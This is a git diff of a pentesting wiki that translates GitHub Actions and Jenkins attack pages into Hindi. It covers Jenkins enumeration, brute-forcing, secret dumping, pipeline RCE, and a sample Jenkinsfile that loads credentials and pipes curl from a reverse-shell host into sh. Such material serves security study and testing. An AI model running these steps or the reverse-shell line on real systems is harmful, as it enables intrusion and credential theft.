[यहाँ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)। ### Github Actions -This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. +यह **गिटहब में प्रमाणित होने का एक तरीका नहीं है**, लेकिन एक **दुर्भावनापूर्ण** Github Action को **गिटहब तक अनधिकृत पहुँच प्राप्त हो सकती है** और **अनुमतियों** के आधार पर जो Action को दी गई हैं, कई **विभिन्न हमले** किए जा सकते हैं। अधिक जानकारी के लिए नीचे देखें। ## Git Actions -Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). +Git actions **जब कोई घटना होती है तब कोड के निष्पादन को स्वचालित** करने की अनुमति देते हैं। आमतौर पर निष्पादित कोड **रिपॉजिटरी के कोड से किसी न किसी तरह संबंधित होता है** (शायद एक डॉकर कंटेनर बनाना या यह जांचना कि PR में कोई रहस्य नहीं है)। ### Configuration -In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. +_https://github.com/organizations/\/settings/actions_ में आप संगठन के लिए **गिटहब क्रियाओं की कॉन्फ़िगरेशन** की जाँच कर सकते हैं। -It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. +गिटहब क्रियाओं के उपयोग को पूरी तरह से अस्वीकार करना, **सभी गिटहब क्रियाओं की अनुमति देना**, या केवल कुछ क्रियाओं की अनुमति देना संभव है। -It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run. +यह भी संभव है कि **किसे Github Action चलाने के लिए अनुमोदन की आवश्यकता है** और जब Github Action चलाया जाता है तो **GITHUB_TOKEN की अनुमतियाँ** को कॉन्फ़िगर किया जा सके। ### Git Secrets -Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. - -These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: +Github Action आमतौर पर गिटहब या तीसरे पक्ष के एप्लिकेशनों के साथ बातचीत करने के लिए कुछ प्रकार के रहस्यों की आवश्यकता होती है। **उन्हें स्पष्ट पाठ में रखने से बचने के लिए**, गिटहब उन्हें **Secrets** के रूप में रखने की अनुमति देता है। +ये रहस्य **रिपॉजिटरी या सभी संगठन के लिए** कॉन्फ़िगर किए जा सकते हैं। फिर, **Action को रहस्य तक पहुँच प्राप्त करने के लिए** आपको इसे इस तरह घोषित करना होगा: ```yaml steps: - - name: Hello world action - with: # Set the secret as an input - super_secret:${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret:${{ secrets.SuperSecret }} +- name: Hello world action +with: # Set the secret as an input +super_secret:${{ secrets.SuperSecret }} +env: # Or as an environment variable +super_secret:${{ secrets.SuperSecret }} ``` - -#### Example using Bash - +#### Bash का उपयोग करते हुए उदाहरण ```yaml steps: - - shell: bash - env: SUPER_SECRET:${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" +- shell: bash +env: SUPER_SECRET:${{ secrets.SuperSecret }} +run: | +example-command "$SUPER_SECRET" ``` - > [!WARNING] -> Secrets **can only be accessed from the Github Actions** that have them declared. +> Secrets **केवल उन Github Actions से एक्सेस किए जा सकते हैं** जिनमें उन्हें घोषित किया गया है। -> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. +> एक बार जब उन्हें रेपो या संगठनों में कॉन्फ़िगर किया जाता है, तो **github के उपयोगकर्ता उन्हें फिर से एक्सेस नहीं कर पाएंगे**, वे केवल **उन्हें बदलने** में सक्षम होंगे। -Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). +इसलिए, **github secrets चुराने का एकमात्र तरीका है कि आप उस मशीन तक पहुँच प्राप्त करें जो Github Action को निष्पादित कर रही है** (उस परिदृश्य में आप केवल Action के लिए घोषित किए गए secrets तक पहुँच प्राप्त कर पाएंगे)। ### Git Environments -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: - +Github **पर्यावरण** बनाने की अनुमति देता है जहाँ आप **secrets** को सहेज सकते हैं। फिर, आप github action को पर्यावरण के अंदर secrets तक पहुँच देने के लिए कुछ इस तरह कर सकते हैं: ```yaml jobs: - deployment: - runs-on: ubuntu-latest - environment: env_name +deployment: +runs-on: ubuntu-latest +environment: env_name ``` - You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. @@ -229,11 +222,11 @@ The **branch protections of a repository** can be found in _https://github.com/\ Different protections can be applied to a branch (like to master): - You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. - - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. +- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. +- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. +- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) +- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. +- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. - **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). - **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. - **Require signed commits**. The commits need to be signed. @@ -253,7 +246,3 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 4dfba3ff3..5d4fc0358 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -4,7 +4,7 @@ ## Basic Information -Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. +Jenkins एक उपकरण है जो लगभग **किसी भी** **प्रोग्रामिंग भाषाओं** और स्रोत कोड रिपॉजिटरी के लिए **निरंतर एकीकरण** या **निरंतर वितरण** (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins **व्यक्तिगत चरणों** के लिए स्क्रिप्ट बनाने की **आवश्यकता** को समाप्त नहीं करता, यह निर्माण, परीक्षण, और तैनाती उपकरणों के पूरे अनुक्रम को एक साथ जोड़ने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है। {{#ref}} basic-jenkins-information.md @@ -12,74 +12,68 @@ basic-jenkins-information.md ## Unauthenticated Enumeration -In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: - +दिलचस्प Jenkins पृष्ठों की खोज करने के लिए बिना प्रमाणीकरण के जैसे (_/people_ या _/asynchPeople_, यह वर्तमान उपयोगकर्ताओं की सूची बनाता है) आप उपयोग कर सकते हैं: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` - -Check if you can execute commands without needing authentication: - +जांचें कि क्या आप प्रमाणीकरण की आवश्यकता के बिना कमांड निष्पादित कर सकते हैं: ``` msf> use auxiliary/scanner/http/jenkins_command ``` +बिना क्रेडेंशियल्स के आप _**/asynchPeople/**_ पथ या _**/securityRealm/user/admin/search/index?q=**_ में **यूजरनेम** देख सकते हैं। -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. - -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +आप _**/oops**_ या _**/error**_ पथ से Jenkins संस्करण प्राप्त कर सकते हैं। ![](<../../images/image (146).png>) -### Known Vulnerabilities +### ज्ञात कमजोरियाँ {{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}} -## Login +## लॉगिन -In the basic information you can check **all the ways to login inside Jenkins**: +बुनियादी जानकारी में आप **Jenkins के अंदर लॉगिन करने के सभी तरीके** देख सकते हैं: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### पंजीकरण -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +आप Jenkins उदाहरणों को खोजने में सक्षम होंगे जो **आपको एक खाता बनाने और इसके अंदर लॉगिन करने की अनुमति देते हैं। बस इतना आसान।** -### **SSO Login** +### **SSO लॉगिन** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +यदि **SSO** **कार्यात्मकता**/**प्लगइन्स** मौजूद थे तो आपको एक परीक्षण खाते (यानी, एक परीक्षण **Github/Bitbucket खाता**) का उपयोग करके एप्लिकेशन में **लॉग-इन** करने का प्रयास करना चाहिए। [**यहां**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) से ट्रिक करें। -### Bruteforce - -**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. +### ब्रूटफोर्स +**Jenkins** में **पासवर्ड नीति** और **यूजरनेम ब्रूट-फोर्स शमन** की कमी है। यह **ब्रूट-फोर्स** उपयोगकर्ताओं के लिए आवश्यक है क्योंकि **कमजोर पासवर्ड** या **पासवर्ड के रूप में यूजरनेम** का उपयोग हो सकता है, यहां तक कि **उल्टे यूजरनेम के रूप में पासवर्ड** भी हो सकते हैं। ``` msf> use auxiliary/scanner/http/jenkins_login ``` - ### Password spraying Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). ### IP Whitelisting Bypass -Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. +कई संगठन **SaaS-आधारित स्रोत नियंत्रण प्रबंधन (SCM) सिस्टम** जैसे GitHub या GitLab को **आंतरिक, स्वयं-होस्टेड CI** समाधान जैसे Jenkins या TeamCity के साथ मिलाते हैं। यह सेटअप CI सिस्टम को **SaaS स्रोत नियंत्रण विक्रेताओं** से **वेबहुक घटनाओं** को **प्राप्त** करने की अनुमति देता है, मुख्य रूप से पाइपलाइन नौकरियों को ट्रिगर करने के लिए। -To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. +इसको प्राप्त करने के लिए, संगठन **SCM प्लेटफार्मों** के **IP रेंज** को **व्हाइटलिस्ट** करते हैं, जिससे उन्हें **वेबहुक** के माध्यम से **आंतरिक CI सिस्टम** तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि **कोई भी** GitHub या GitLab पर एक **खाता** बना सकता है और इसे **वेबहुक** को **ट्रिगर** करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से **आंतरिक CI सिस्टम** को अनुरोध भेज सकता है। Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## Internal Jenkins Abuses -In these scenarios we are going to suppose you have a valid account to access Jenkins. +इन परिदृश्यों में हम मानेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक मान्य खाता है। > [!WARNING] -> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** +> Jenkins में कॉन्फ़िगर की गई **Authorization** तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप **निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।** -For more information check the basic information: +अधिक जानकारी के लिए बुनियादी जानकारी देखें: {{#ref}} basic-jenkins-information.md @@ -87,165 +81,155 @@ basic-jenkins-information.md ### Listing users -If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) में अन्य पंजीकृत उपयोगकर्ताओं की सूची देख सकते हैं। ### Dumping builds to find cleartext secrets Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. - ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` +### **SSH क्रेडेंशियल चुराना** -### **Stealing SSH Credentials** - -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +यदि समझौता किया गया उपयोगकर्ता **एक नया Jenkins नोड बनाने/संशोधित करने के लिए पर्याप्त विशेषाधिकार रखता है** और SSH क्रेडेंशियल पहले से अन्य नोड्स तक पहुँचने के लिए संग्रहीत हैं, तो वह **उन क्रेडेंशियल्स को चुरा सकता है** एक नोड बनाकर/संशोधित करके और **एक होस्ट सेट करके जो क्रेडेंशियल्स को रिकॉर्ड करेगा** बिना होस्ट कुंजी की पुष्टि किए: ![](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). +आप आमतौर पर Jenkins ssh क्रेडेंशियल्स को **वैश्विक प्रदाता** (`/credentials/`) में पाएंगे, इसलिए आप उन्हें किसी अन्य रहस्य की तरह डंप भी कर सकते हैं। अधिक जानकारी के लिए [**रहस्यों को डंप करने के अनुभाग**](./#dumping-secrets) में देखें। -### **RCE in Jenkins** +### **Jenkins में RCE** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +Jenkins सर्वर में **शेल प्राप्त करना** हमलावर को सभी **रहस्यों** और **env वेरिएबल्स** को लीक करने और **एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने** या यहां तक कि **क्लाउड क्रेडेंशियल्स इकट्ठा करने** का अवसर देता है। -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +डिफ़ॉल्ट रूप से, Jenkins **SYSTEM के रूप में चलेगा**। इसलिए, इसे समझौता करने से हमलावर को **SYSTEM विशेषाधिकार** मिलेंगे। -### **RCE Creating/Modifying a project** +### **RCE प्रोजेक्ट बनाना/संशोधित करना** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Execute Groovy script** +### **RCE Groovy स्क्रिप्ट निष्पादित करना** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +आप एक Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो एक नया प्रोजेक्ट बनाने की तुलना में अधिक छिपा हुआ हो सकता है: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Creating/Modifying Pipeline +### RCE पाइपलाइन बनाना/संशोधित करना -You can also get **RCE by creating/modifying a pipeline**: +आप **पाइपलाइन बनाकर/संशोधित करके RCE प्राप्त कर सकते हैं**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitation +## पाइपलाइन शोषण -To exploit pipelines you still need to have access to Jenkins. +पाइपलाइनों का शोषण करने के लिए आपको अभी भी Jenkins तक पहुँच प्राप्त करनी होगी। -### Build Pipelines +### बिल्ड पाइपलाइन्स -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**पाइपलाइन्स** को **प्रोजेक्ट्स में बिल्ड तंत्र के रूप में** भी उपयोग किया जा सकता है, इस मामले में इसे **भंडार के अंदर एक फ़ाइल** के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा। डिफ़ॉल्ट रूप से `/Jenkinsfile` का उपयोग किया जाता है: ![](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +यह भी संभव है कि **पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए** (उदाहरण के लिए अन्य भंडार में) जिसका लक्ष्य **भंडार की पहुँच** और पाइपलाइन पहुँच को **अलग करना** है। -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +यदि एक हमलावर के पास **उस फ़ाइल पर लिखने की पहुँच है** तो वह इसे **संशोधित** कर सकेगा और **संभावित रूप से पाइपलाइन को ट्रिगर** कर सकेगा बिना Jenkins तक पहुँच के।\ +संभव है कि हमलावर को **कुछ शाखा सुरक्षा को बायपास करना पड़े** (प्लेटफ़ॉर्म और उपयोगकर्ता विशेषाधिकार के आधार पर, उन्हें बायपास किया जा सकता है या नहीं)। -The most common triggers to execute a custom pipeline are: +कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे सामान्य ट्रिगर्स हैं: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- **मुख्य शाखा** पर **पुल अनुरोध** (या संभावित रूप से अन्य शाखाओं पर) +- **मुख्य शाखा** पर **पुश** (या संभावित रूप से अन्य शाखाओं पर) +- **मुख्य शाखा को अपडेट करें** और प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> यदि आप एक **बाहरी उपयोगकर्ता** हैं तो आपको **अन्य उपयोगकर्ता/संस्थान** के भंडार की **मुख्य शाखा** पर **PR बनाने** और **पाइपलाइन को ट्रिगर करने** की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह **खराब कॉन्फ़िगर किया गया है** तो आप पूरी तरह से **कंपनियों को केवल इसका शोषण करके समझौता कर सकते हैं**। -### Pipeline RCE +### पाइपलाइन RCE -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). +पिछले RCE अनुभाग में पहले से ही [**पाइपलाइन को संशोधित करके RCE प्राप्त करने की तकनीक**](./#rce-creating-modifying-pipeline) का संकेत दिया गया था। -### Checking Env variables - -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +### Env वेरिएबल्स की जाँच करना +यह संभव है कि **पूरी पाइपलाइन** या विशिष्ट चरणों के लिए **स्पष्ट पाठ env वेरिएबल्स** घोषित किए जाएं। ये env वेरिएबल्स **संवेदनशील जानकारी** नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा **सभी पाइपलाइन** कॉन्फ़िगरेशन/Jenkinsfiles की **जाँच कर सकता है**: ```bash pipeline { - agent {label 'built-in'} - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { ``` - ### Dumping secrets -For information about how are secrets usually treated by Jenkins check out the basic information: +Jenkins द्वारा सामान्यतः रहस्यों के साथ कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें: {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. - -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) या **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए **स्कोप किया जा सकता है**। इसलिए, सभी को निकालने के लिए आपको **कम से कम सभी परियोजनाओं से समझौता करना होगा** जो रहस्यों को शामिल करती हैं और कस्टम/ज़हरीले पाइपलाइनों को निष्पादित करना होगा। +एक और समस्या है, पाइपलाइन के **env** के अंदर एक **रहस्य** प्राप्त करने के लिए आपको **रहस्य का नाम और प्रकार जानना होगा**। उदाहरण के लिए, यदि आप एक **`usernamePassword`** **रहस्य** को **`string`** **रहस्य** के रूप में **लोड** करने की कोशिश करते हैं, तो आपको यह **त्रुटि** मिलेगी: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` - -Here you have the way to load some common secret types: - +यहाँ कुछ सामान्य गुप्त प्रकार लोड करने का तरीका है: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { - sh ''' - env #Search for USERNAME and PASS - ''' +sh ''' +env #Search for USERNAME and PASS +''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { - sh ''' - env #Search for SECRET - ''' +sh ''' +env #Search for SECRET +''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { - sh ''' - env # Search for USERPASS - ''' +sh ''' +env # Search for USERPASS +''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - env - ''' +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +env +''' } ``` - -At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +इस पृष्ठ के अंत में आप **सभी क्रेडेंशियल प्रकार** पा सकते हैं: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ -> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). +> **सभी रहस्यों को एक साथ डंप करने** का सबसे अच्छा तरीका **Jenkins** मशीन को **समझौता** करना है (उदाहरण के लिए **बिल्ट-इन नोड** में एक रिवर्स शेल चलाना) और फिर **मास्टर की** और **एन्क्रिप्टेड रहस्यों** को **लीक** करना और उन्हें ऑफलाइन डिक्रिप्ट करना।\ +> इसे करने के बारे में अधिक जानकारी [Nodes & Agents section](./#nodes-and-agents) और [Post Exploitation section](./#post-exploitation) में है। -### Triggers +### ट्रिगर्स -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. - -Cron example: +[दस्तावेज़ों](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) से: `triggers` निर्देश **स्वचालित तरीकों को परिभाषित करता है जिनसे पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए**। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, `triggers` आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं `cron`, `pollSCM` और `upstream`। +क्रोन उदाहरण: ```bash triggers { cron('H */4 * * 1-5') } ``` - Check **other examples in the docs**. ### Nodes & Agents @@ -258,55 +242,51 @@ For more information check the basic information: basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: +You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more: ![](<../../images/image (249).png>) -It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. +It is **विशेष रूप से दिलचस्प Built-In node को समझौता करना** क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है। To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: - ```bash pipeline { - agent {label 'built-in'} +agent {label 'built-in'} ``` +### पूरा उदाहरण -### Complete example - -Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: - +एक विशेष एजेंट में पाइपलाइन, एक क्रोन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना: ```bash pipeline { - agent {label 'built-in'} - triggers { cron('H */4 * * 1-5') } - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +triggers { cron('H */4 * * 1-5') } +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { - withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS - ''' - } - } - } +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { +withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS +''' +} +} +} - post { - always { - cleanWs() - } - } +post { +always { +cleanWs() +} +} } ``` - -## Arbitrary File Read to RCE +## मनमाना फ़ाइल पढ़ना से RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation - -### Metasploit +## पोस्ट एक्सप्लॉइटेशन +### मेटास्प्लॉइट ``` msf> post/multi/gather/jenkins_gather ``` - ### Jenkins Secrets -You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. +आप `/credentials/` को एक्सेस करके सीक्रेट्स की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के सीक्रेट्स की सूची बनाएगा, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलें** में भी **अधिक क्रेडेंशियल्स** हो सकते हैं। -If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. +यदि आप **प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं**, तो आप वहाँ **क्रेडेंशियल्स (सीक्रेट्स)** के नाम भी देख सकते हैं जो रिपॉजिटरी और **प्रोजेक्ट के अन्य क्रेडेंशियल्स** तक पहुँचने के लिए उपयोग किए जा रहे हैं। ![](<../../images/image (180).png>) @@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -These files are needed to **decrypt Jenkins secrets**: +इन फ़ाइलों की आवश्यकता है **Jenkins सीक्रेट्स को डिक्रिप्ट करने के लिए**: - secrets/master.key - secrets/hudson.util.Secret -Such **secrets can usually be found in**: +ऐसे **सीक्रेट्स आमतौर पर** मिल सकते हैं: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Here's a regex to find them: - +उन्हें खोजने के लिए यहाँ एक regex है: ```bash # Find the secrets grep -re 